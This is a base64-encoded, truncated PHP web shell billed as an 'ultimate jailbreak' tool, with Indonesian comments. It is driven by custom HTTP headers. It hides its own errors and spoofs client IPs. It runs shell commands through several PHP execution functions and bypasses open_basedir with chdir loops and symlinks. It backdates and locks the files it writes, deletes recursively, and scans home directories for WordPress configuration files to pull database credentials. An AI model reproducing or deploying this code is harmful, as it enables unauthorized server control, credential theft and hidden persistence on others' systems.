k0gVjY1IChVTFRJTUFURTogSkFJTEJSRUFLICsgQU5USS1MT09QICsgSFlCUklEIEJZUEFTUykNCi8vIEZFQVRVUkVTOiBPUEVOX0JBU0VESVIgQllQQVNTLCBFTlYgVU5TRVQsIFRNUEZTIE9VVFBVVCwgQVVUTyBSRUZSRVNIDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIDEuIFNURUFMVEggTU9ERQ0KZXJyb3JfcmVwb3J0aW5nKDApOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsICc1MTJNJyk7DQoNCi8vIDIuIElQIENMT0FLSU5HDQpmdW5jdGlvbiBjbG9ha19oZWFkZXJzKCkgew0KICAgICRmYWtlX2lwID0gIjEyNy4wLjAuMSI7IA0KICAgICRoZWFkZXJzID0gWydIVFRQX0NMSUVOVF9JUCcsICdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICdIVFRQX1hfRk9SV0FSREVEJywgJ0hUVFBfWF9DTFVTVEVSX0NMSUVOVF9JUCcsICdIVFRQX0ZPUldBUkRFRF9GT1InLCAnSFRUUF9GT1JXQVJERUQnLCAnUkVNT1RFX0FERFInXTsNCiAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAka2V5KSB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlska2V5XSkpICRfU0VSVkVSWyRrZXldID0gJGZha2VfaXA7DQogICAgICAgIHB1dGVudigiJGtleT0kZmFrZV9pcCIpOw0KICAgIH0NCiAgICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAiKTsNCiAgICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgICBoZWFkZXIoIkV4cGlyZXM6IFdlZCwgMTEgSmFuIDE5ODQgMDU6MDA6MDAgR01UIik7DQp9DQpjbG9ha19oZWFkZXJzKCk7DQoNCmlmIChpc3NldCgkX0dFVFsnZG9fcGhwaW5mbyddKSkgeyBwaHBpbmZvKCk7IGV4aXQ7IH0NCg0KJGhfYWN0ICAgPSAnSFRUUF9YX0FDVElPTic7DQokaF9wYXRoICA9ICdIVFRQX1hfUEFUSCc7DQokaF9kYXRhICA9ICdIVFRQX1hfREFUQSc7IA0KJGhfY21kICAgPSAnSFRUUF9YX0NNRCc7DQokaF90b29sICA9ICdIVFRQX1hfVE9PTCc7DQokaF9zdGVwICA9ICdIVFRQX1hfU1RFUCc7IA0KJGhfZW5jICAgPSAnSFRUUF9YX0VOQ09ERSc7IA0KJGhfbW1vZGUgPSAnSFRUUF9YX01BU1NfTU9ERSc7IA0KDQokcm9vdCA9IHJlYWxwYXRoKF9fRElSX18pOyANCg0KZnVuY3Rpb24gZ2V0X3N5c19pbmZvKCkgew0KICAgICR1X2lkID0gZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpID8gcG9zaXhfZ2V0cHd1aWQoZ2V0bXl1aWQoKSkgOiBbJ25hbWUnID0+IGdldF9jdXJyZW50X3VzZXIoKSwgJ2dpZCcgPT4gZ2V0bXlnaWQoKV07DQogICAgJGN1cmxfdiA9IGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgPyBjdXJsX3ZlcnNpb24oKVsndmVyc2lvbiddIDogJ04vQSc7DQogICAgJHNhZmVfbW9kZSA9IChpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAxIHx8IHN0cnRvbG93ZXIoaW5pX2dldCgnc2FmZV9tb2RlJykpID09ICdvbicpID8gIjxzcGFuIHN0eWxlPSdjb2xvcjojZjI4YjgyJz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojODFjOTk1Jz5PZmY8L3NwYW4+IjsNCiAgICByZXR1cm4gWw0KICAgICAgICAnb3MnID0+IHBocF91bmFtZSgpLA0KICAgICAgICAndXNlcicgPT4gZ2V0bXl1aWQoKSAuICcgKCcgLiAkdV9pZFsnbmFtZSddIC4gJyknLA0KICAgICAgICAnc2FmZScgPT4gJHNhZmVfbW9kZSwNCiAgICAgICAgJ2lwJyA9PiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA/PyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwNCiAgICAgICAgJ3NvZnQnID0+ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwNCiAgICAgICAgJ3BocCcgPT4gcGhwdmVyc2lvbigpLA0KICAgICAgICAnY3VybCcgPT4gJGN1cmxfdiwNCiAgICAgICAgJ3RpbWUnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJykNCiAgICBdOw0KfQ0KJHN5cyA9IGdldF9zeXNfaW5mbygpOw0KDQovLyAtLS0gVUxUSU1BVEUgSkFJTEJSRUFLOiBNVUxUSS1CSU5BUlkgJiBQRVJTSVNURU5UIEZBTExCQUNLIC0tLQ0KZnVuY3Rpb24geF9qYWlsYnJlYWsoJGZpbGUpIHsNCiAgICAvLyBMQVlFUiAxOiBDb21tYW5kIEV4ZWN1dGlvbiBkZW5nYW4gTXVsdGktQmluYXJ5IEZhbGxiYWNrDQogICAgLy8gTWVuY29iYSBiZXJiYWdhaSBtZXRvZGUgZWtzZWt1c2kgZGFuIGJlcmJhZ2FpIHBlcmludGFoIGJhY2ENCiAgICAkbWV0aG9kcyA9IFsnc2hlbGxfZXhlYycsICdleGVjJywgJ3Bhc3N0aHJ1JywgJ3N5c3RlbScsICdwb3BlbicsICdwcm9jX29wZW4nXTsNCiAgICANCiAgICAvLyBEYWZ0YXIgcGVyaW50YWggYWx0ZXJuYXRpZiBwZW5nZ2FudGkgJ2NhdCcgamlrYSBkaWJsb2tpcg0KICAgICRiaW5hcmllcyA9IFsNCiAgICAgICAgJ2NhdCcsICAgICAgICAgICAgICAgLy8gU3RhbmRhcg0KICAgICAgICAnaGVhZCAtbiAxMDAwMCcsICAgICAvLyBCYWNhIGJhZ2lhbiBkZXBhbg0KICAgICAgICAndGFpbCAtbiAxMDAwMCcsICAgICAvLyBCYWNhIGJhZ2lhbiBiZWxha2FuZw0KICAgICAgICAnbW9yZScsICAgICAgICAgICAgICAvLyBBbHRlcm5hdGlmIGJhY2ENCiAgICAgICAgJ2xlc3MnLCAgICAgICAgICAgICAgLy8gQWx0ZXJuYXRpZiBiYWNhDQogICAgICAgICdhd2sgIntwcmludH0iJywgICAgIC8vIFRyaWsgQVdLDQogICAgICAgICdzZWQgLW4gInAiJywgICAgICAgIC8vIFRyaWsgU0VEDQogICAgICAgICd0YWMnLCAgICAgICAgICAgICAgIC8vIEJhY2EgdGVyYmFsaWsNCiAgICAgICAgJ25sJywgICAgICAgICAgICAgICAgLy8gQmFjYSBkZW5nYW4gbm9tb3IgYmFyaXMNCiAgICAgICAgJ2RkIHN0YXR1cz1ub25lJyAgICAgLy8gQmluYXJ5IGxldmVsIHJlYWQNCiAgICBdOw0KDQogICAgJGRpc2FibGVkX3JhdyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgJGRpc2FibGVkID0gKCRkaXNhYmxlZF9yYXcpID8gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsICRkaXNhYmxlZF9yYXcpKSA6IFtdOw0KDQogICAgZm9yZWFjaCAoJG1ldGhvZHMgYXMgJG1ldGhvZCkgew0KICAgICAgICAvLyBDZWsgYXBha2FoIGZ1bmdzaSBQSFAgYWt0aWYgZGFuIHRpZGFrIGRpZGlzYWJsZQ0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRtZXRob2QpICYmICFpbl9hcnJheSgkbWV0aG9kLCAkZGlzYWJsZWQpKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIExvb3Agc2V0aWFwIHBlcmludGFoIGJpbmFyeSAoY2F0LCBoZWFkLCB0YWlsLCBkbGwpDQogICAgICAgICAgICBmb3JlYWNoICgkYmluYXJpZXMgYXMgJGJpbikgew0KICAgICAgICAgICAgICAgICRjbWQgPSAkYmluIC4gIiAiIC4gZXNjYXBlc2hlbGxhcmcoJGZpbGUpOw0KICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kID09PSAnc2hlbGxfZXhlYycpIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dCA9IEBzaGVsbF9leGVjKCRjbWQpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkbWV0aG9kID09PSAnZXhlYycpIHsNCiAgICAgICAgICAgICAgICAgICAgJG8gPSBbXTsgQGV4ZWMoJGNtZCwgJG8pOyAkb3V0ID0gaW1wbG9kZSgiXG4iLCAkbyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdwYXNzdGhydScpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRjbWQpOyAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdzeXN0ZW0nKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGNtZCk7ICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJG1ldGhvZCA9PT0gJ3BvcGVuJykgew0KICAgICAgICAgICAgICAgICAgICAkZnAgPSBAcG9wZW4oJGNtZCwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgeyB3aGlsZSghZmVvZigkZnApKSAkb3V0IC49IGZyZWFkKCRmcCwgMTAyNCk7IHBjbG9zZSgkZnApOyB9DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdwcm9jX29wZW4nKSB7DQogICAgICAgICAgICAgICAgICAgICRkZXNjID0gWzEgPT4gWydwaXBlJywgJ3cnXSwgMiA9PiBbJ3BpcGUnLCAndyddXTsgDQogICAgICAgICAgICAgICAgICAgICRwID0gQHByb2Nfb3BlbigkY21kLCAkZGVzYywgJHBpcGVzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOyBmY2xvc2UoJHBpcGVzWzJdKTsgcHJvY19jbG9zZSgkcCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyBKaWthIGJlcmhhc2lsLCBsYW5nc3VuZyByZXR1cm4gaGFzaWxueWENCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRvdXQpKSByZXR1cm4gJG91dDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIExBWUVSIDI6IFN5bWxpbmsgVHJpY2sgKFBIUCBOYXRpdmUpDQogICAgLy8gVGV0YXAgZGlqYWxhbmthbiBqaWthIExheWVyIDEgZ2FnYWwva29zb25nIChQZXJzaXN0ZW50KQ0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSAmJiBpc193cml0YWJsZShnZXRjd2QoKSkpIHsNCiAgICAgICAgJGxpbmsgPSAnc2ZtX2xua18nIC4gcmFuZCgxMDAwLDk5OTkpOw0KICAgICAgICBAc3ltbGluaygkZmlsZSwgJGxpbmspOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxpbmspKSB7IA0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGxpbmspOw0KICAgICAgICAgICAgQHVubGluaygkbGluayk7DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHJldHVybiAkY29udGVudDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIExBWUVSIDM6IFRoZSBIZWF2eSBMb29wIChMYXN0IFJlc29ydCkNCiAgICAvLyBKYWxhbiB0ZXJha2hpciBqaWthIHNlbXVhIGNhcmEgZGkgYXRhcyBnYWdhbA0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2NoZGlyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdta2RpcicpKSB7DQogICAgICAgICRvbGRfY3dkID0gZ2V0Y3dkKCk7DQogICAgICAgICRqYl9kaXIgPSAic2ZtX2piXyIgLiByYW5kKDEwMDAsOTk5OSk7DQogICAgICAgIGlmIChAbWtkaXIoJGpiX2RpcikpIHsNCiAgICAgICAgICAgIEBjaGRpcigkamJfZGlyKTsNCiAgICAgICAgICAgIEBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLi4nKTsNCiAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IDE1OyAkaSsrKSB7IEBjaGRpcignLi4nKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsICcuLicpOyB9DQogICAgICAgICAgICBAY2hkaXIoJy8nKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsICcvJyk7DQogICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQogICAgICAgICAgICBAY2hkaXIoJG9sZF9jd2QpOyBAcm1kaXIoJGpiX2Rpcik7DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHJldHVybiAkY29udGVudDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLy8gLS0tIFVQREFURUQgUkVBREVSIChQcmlvcml0YXMgSmFpbGJyZWFrKSAtLS0NCmZ1bmN0aW9uIHhfcmVhZCgkcGF0aCkgew0KICAgIC8vIDEuIFBSSU9SSVRBUyBVVEFNQTogSmFpbGJyZWFrIChVbHRpbWF0ZSBIeWJyaWQpDQogICAgLy8gTWVuY29iYSB0ZWtuaWsgaGFja2luZyAoQ29tbWFuZC9TeW1saW5rL0xvb3ApIHRlcmxlYmloIGRhaHVsdS4NCiAgICAkamIgPSB4X2phaWxicmVhaygkcGF0aCk7DQogICAgaWYgKCFlbXB0eSgkamIpKSByZXR1cm4gJGpiOw0KDQogICAgLy8gMi4gRkFMTEJBQ0s6IFN0YW5kYXJkIFJlYWQNCiAgICAvLyBIYW55YSBqaWthIHNlbXVhIG1ldG9kZSBqYWlsYnJlYWsgKHRlcm1hc3VrIGxvb3AgYmVyYXQpIGdhZ2FsIHRvdGFsLg0KICAgIGlmIChpc19yZWFkYWJsZSgkcGF0aCkpIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOw0KDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovLyAtLS0gU1RBTkRBUkQgV1JJVEUgKExJR0hUV0VJR0hUIEZPUiBBVVRPIENIQUlOKSAtLS0NCmZ1bmN0aW9uIHhfd3JpdGUoJHBhdGgsICRkYXRhKSB7DQogICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRhdGEpKSByZXR1cm4gdHJ1ZTsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpKSB7IA0KICAgICAgICAkaCA9IEBmb3BlbigkcGF0aCwgInciKTsgDQogICAgICAgIGlmICgkaCkgeyBmd3JpdGUoJGgsICRkYXRhKTsgZmNsb3NlKCRoKTsgcmV0dXJuIHRydWU7IH0gDQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCi8vIC0tLSBST0JVU1QgV1JJVEUgKEFudGkgMEtCICsgQW50aSBSZXZlcnQgKyBGb3JjZSAwNDQ0KSAtLS0NCmZ1bmN0aW9uIHhfcm9idXN0X3dyaXRlKCRwYXRoLCAkZGF0YSwgJGxvY2tfbW9kZSA9IGZhbHNlKSB7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSkgeyBAY2htb2QoJHBhdGgsIDA2NDQpOyB9DQoNCiAgICAkZnAgPSBAZm9wZW4oJHBhdGgsICdjKycpOyANCiAgICBpZiAoJGZwKSB7DQogICAgICAgIGlmIChAZmxvY2soJGZwLCBMT0NLX0VYKSkgeyANCiAgICAgICAgICAgIEBmdHJ1bmNhdGUoJGZwLCAwKTsgICAgIA0KICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRkYXRhKTsgICAgDQogICAgICAgICAgICBAZmZsdXNoKCRmcCk7ICAgICAgICAgICANCiAgICAgICAgICAgIEBmbG9jaygkZnAsIExPQ0tfVU4pOyAgIA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkZGF0YSk7DQogICAgICAgIH0NCiAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmKGZpbGVfZXhpc3RzKCRwYXRoKSkgQHVubGluaygkcGF0aCk7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRhdGEpOw0KICAgIH0NCg0KICAgIGNsZWFyc3RhdGNhY2hlKCk7DQogICAgaWYgKGZpbGVzaXplKCRwYXRoKSA9PSAwICYmIHN0cmxlbigkZGF0YSkgPiAwKSB7DQogICAgICAgIEB1bmxpbmsoJHBhdGgpOw0KICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRkYXRhKTsNCiAgICB9DQoNCiAgICBAdG91Y2goJHBhdGgsIHRpbWUoKSAtIDM0NTYwMDAwKTsgDQogICAgaWYgKCRsb2NrX21vZGUpIHsgQGNobW9kKCRwYXRoLCAwNDQ0KTsgfQ0KDQogICAgcmV0dXJuIGZpbGVfZXhpc3RzKCRwYXRoKTsNCn0NCg0KZnVuY3Rpb24geF9saW5rKCR0YXJnZXQsICRsaW5rKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpICYmIEBzeW1saW5rKCR0YXJnZXQsICRsaW5rKSkgcmV0dXJuIHRydWU7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbGluaycpICYmIEBsaW5rKCR0YXJnZXQsICRsaW5rKSkgcmV0dXJuIHRydWU7DQogICAgDQogICAgDQogICAgJGNtZCA9ICJsbiAtcyAiIC4gZXNjYXBlc2hlbGxhcmcoJHRhcmdldCkgLiAiICIgLiBlc2NhcGVzaGVsbGFyZygkbGluayk7DQogICAgDQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7IEBzaGVsbF9leGVjKCRjbWQpOyB9DQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyBAZXhlYygkY21kKTsgfQ0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyBvYl9zdGFydCgpOyBAc3lzdGVtKCRjbWQpOyBvYl9lbmRfY2xlYW4oKTsgfQ0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY21kKTsgb2JfZW5kX2NsZWFuKCk7IH0NCiAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsNCiAgICAgICAgJGRlc2MgPSBbMCA9PiBbInBpcGUiLCAiciJdLCAxID0+IFsicGlwZSIsICJ3Il0sIDIgPT4gWyJwaXBlIiwgInciXV07DQogICAgICAgICRwID0gQHByb2Nfb3BlbigkY21kLCAkZGVzYywgJHBpcGVzKTsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwKSkgeyANCiAgICAgICAgICAgIEBmY2xvc2UoJHBpcGVzWzBdKTsgQGZjbG9zZSgkcGlwZXNbMV0pOyBAZmNsb3NlKCRwaXBlc1syXSk7IA0KICAgICAgICAgICAgQHByb2NfY2xvc2UoJHApOyANCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgeyAkaCA9IEBwb3BlbigkY21kLCAncicpOyBpZigkaCkgQHBjbG9zZSgkaCk7IH0NCiAgICANCiAgIA0KICAgIHJldHVybiBmaWxlX2V4aXN0cygkbGluayk7DQp9DQpmdW5jdGlvbiBnZXRfaG9tZV9kaXJzKCkgew0KICAgICRkID0gWycvaG9tZSddOyBmb3IgKCRpID0gMTsgJGkgPD0gOTsgJGkrKykgJGRbXSA9ICcvaG9tZScgLiAkaTsgcmV0dXJuICRkOw0KfQ0KZnVuY3Rpb24gZm9yY2VfZGVsZXRlKCR0YXJnZXQpIHsNCiAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgcmV0dXJuIHVubGluaygkdGFyZ2V0KTsNCiAgICBpZiAoaXNfZGlyKCR0YXJnZXQpKSB7DQogICAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkdGFyZ2V0KSwgYXJyYXkoJy4nLCcuLicpKTsNCiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSBmb3JjZV9kZWxldGUoIiR0YXJnZXQvJGZpbGUiKTsNCiAgICAgICAgJHRyeSA9IHJtZGlyKCR0YXJnZXQpOyBpZiAoJHRyeSkgcmV0dXJuIHRydWU7DQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyBAc2hlbGxfZXhlYygicm0gLXJmICIgLiBlc2NhcGVzaGVsbGFyZygkdGFyZ2V0KSk7IHJldHVybiAhZmlsZV9leGlzdHMoJHRhcmdldCk7IH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGpzb25fb3V0KCRkYXRhKSB7IGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7IGVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOyBleGl0OyB9DQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSgkYnl0ZXMsICRkZWMgPSAyKSB7DQogICAgJHNpemUgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOw0KICAgICRmYWN0b3IgPSBmbG9vcigoc3RybGVuKCRieXRlcykgLSAxKSAvIDMpOw0KICAgIHJldHVybiBzcHJpbnRmKCIlLnskZGVjfWYiLCAkYnl0ZXMgLyBwb3coMTAyNCwgJGZhY3RvcikpIC4gQCRzaXplWyRmYWN0b3JdOw0KfQ0KDQovLyAtLS0gU01BUlQgU0NBTk5FUiAtLS0NCmZ1bmN0aW9uIHNjYW5fc21hcnRfc3RyZWFtKCRkaXIsICYkcmVzdWx0cykgew0KICAgICRkaXIgPSBydHJpbSgkZGlyLCAnLycpIC4gJy8nOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZGlyIC4gJ3dwLWNvbmZpZy5waHAnKSkgJHJlc3VsdHNbXSA9ICRkaXIgLiAnd3AtY29uZmlnLnBocCc7DQoNCiAgICBpZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBpZiAoJGZpbGUgPT09ICcuJyB8fCAkZmlsZSA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAkZnVsbF9wYXRoID0gJGRpciAuICRmaWxlOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSAmJiAhaXNfbGluaygkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfcHVibGljID0gJGZ1bGxfcGF0aCAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgJHRhcmdldF9yb290ICAgPSAkZnVsbF9wYXRoIC4gJy93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRhcmdldF9wdWJsaWMpKSAkcmVzdWx0c1tdID0gJHRhcmdldF9wdWJsaWM7DQogICAgICAgICAgICAgICAgZWxzZWlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X3Jvb3QpKSAkcmVzdWx0c1tdID0gJHRhcmdldF9yb290Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGNsb3NlZGlyKCRkaCk7DQogICAgfQ0KfQ0KZnVuY3Rpb24gZ2V0X2NvbmZfdmFsX3NtYXJ0KCRjb250ZW50LCAka2V5KSB7DQogICAgaWYgKHByZWdfbWF0Y2goIi9kZWZpbmVcKFxzKlsnXCJdIiAuIHByZWdfcXVvdGUoJGtleSwgJy8nKSAuICJbJ1wiXVxzKixccypbJ1wiXShbXidcIl0rKVsnXCJdXHMqXCkvIiwgJGNvbnRlbnQsICRtKSkgcmV0dXJuICRtWzFdOw0KICAgIHJldHVybiBudWxsOw0KfQ0KDQovLyAtLS0gU1RBTkRBUkQgRElSRUNUT1JZIFNDQU4gLS0tDQpmdW5jdGlvbiBzY2FuX3NtYXJ0X3RhcmdldHMoJGJhc2VfZGlyKSB7DQogICAgJHRhcmdldHMgPSBbXTsNCiAgICAkaXRlbXMgPSBAc2NhbmRpcigkYmFzZV9kaXIpOw0KICAgIGlmICgkaXRlbXMpIHsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkYmFzZV9kaXIgLiAnLycgLiAkaXRlbTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRwYXRoKSkgJHRhcmdldHNbXSA9ICRwYXRoOw0KICAgICAgICAgICAgICAgICRwdWIgPSAkcGF0aCAuICcvcHVibGljX2h0bWwnOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHB1YikgJiYgaXNfd3JpdGFibGUoJHB1YikpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRhcmdldHNbXSA9ICRwdWI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkdGFyZ2V0czsNCn0NCg0KaWYgKGlzc2V0KCRfU0VSVkVSWyRoX2FjdF0pKSB7DQogICAgJGFjdGlvbiA9ICRfU0VSVkVSWyRoX2FjdF07DQogICAgJHJhd19wYXRoID0gaXNzZXQoJF9TRVJWRVJbJGhfcGF0aF0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9wYXRoXSkgOiAnJzsNCiAgICANCiAgICBpZiAoJHJhd19wYXRoID09PSAnX19IT01FX18nKSB7ICR0YXJnZXQgPSBnZXRjd2QoKTsgfSANCiAgICBlbHNlaWYgKCRyYXdfcGF0aCA9PT0gJycpIHsgJHRhcmdldCA9IGdldGN3ZCgpOyB9IA0KICAgIGVsc2UgeyAkdGFyZ2V0ID0gJHJhd19wYXRoOyB9DQogICAgDQogICAgJHRhcmdldCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHRhcmdldCk7DQogICAgaWYoc3RybGVuKCR0YXJnZXQpID4gMSkgJHRhcmdldCA9IHJ0cmltKCR0YXJnZXQsICcvJyk7DQoNCiAgICBpZihpc19kaXIoJHRhcmdldCkpIEBjaGRpcigkdGFyZ2V0KTsgZWxzZWlmKGlzX2ZpbGUoJHRhcmdldCkpIEBjaGRpcihkaXJuYW1lKCR0YXJnZXQpKTsNCg0KICAgIGlmICgkYWN0aW9uID09PSAnbGlzdCcpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJHRhcmdldCkpIHsgJHRhcmdldCA9IGdldGN3ZCgpOyB9DQogICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCR0YXJnZXQpOw0KICAgICAgICBpZiAoJGl0ZW1zID09PSBmYWxzZSkgeyBqc29uX291dChbJ3BhdGgnID0+ICR0YXJnZXQsICdpdGVtcycgPT4gW10sICdlcnJvcicgPT4gJ1VucmVhZGFibGUnXSk7IH0NCg0KICAgICAgICAkZGlycyA9IFtdOyAkZmlsZXMgPSBbXTsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpKSB7DQogICAgICAgICAgICBpZiAoJGkgPT0gJy4nIHx8ICRpID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkdGFyZ2V0IC4gJy8nIC4gJGk7IA0KICAgICAgICAgICAgJGlzRGlyID0gaXNfZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICRpdGVtID0gWw0KICAgICAgICAgICAgICAgICduYW1lJz0+JGksIA0KICAgICAgICAgICAgICAgICd0eXBlJz0